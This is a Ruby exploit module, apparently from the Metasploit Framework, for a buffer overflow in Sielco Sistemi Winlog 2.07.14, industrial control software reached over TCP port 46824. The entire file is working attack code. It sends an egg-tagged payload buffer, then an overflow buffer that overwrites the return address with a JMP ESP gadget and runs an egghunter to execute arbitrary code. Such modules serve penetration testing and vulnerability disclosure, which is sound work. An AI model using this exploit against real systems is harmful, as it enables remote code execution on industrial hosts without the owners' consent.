##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
'Description' => %q{
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
When sending a specially formatted packet to the Runtime.exe service on port 46824,
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'm-1-k-3 <m1k3[at]s3cur1ty.de>'
],
'References' =>
[
[ 'BID', '53811'],
[ 'URL', 'http://www.s3cur1ty.de' ],
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
{
'Ret' => 0x405153df,
'Offset' => 167,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
{
'Ret' => 0x405153df,
'Offset' => 151,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
#The reliability depends on the actual project. We need to generate some more
#targets. Two of them for the default project and one other project is now available.
],
'Privileged' => false,
'DisclosureDate' => 'Jun 04 2012',
'DefaultTarget' => 0))
register_options([Opt::RPORT(46824)], self.class)
end
def exploit
connect
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
print_status("Placing the shellcode")
shellcode = rand_text_alpha(2000)
shellcode << egg
sock.put(shellcode)
select(nil,nil,nil,1)
buffer = rand_text_alpha(20)
buffer << "\x14" * 10 #trigger the crash
buffer << rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << egghunter
buffer << rand_text_alpha(69 - egghunter.length)
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end
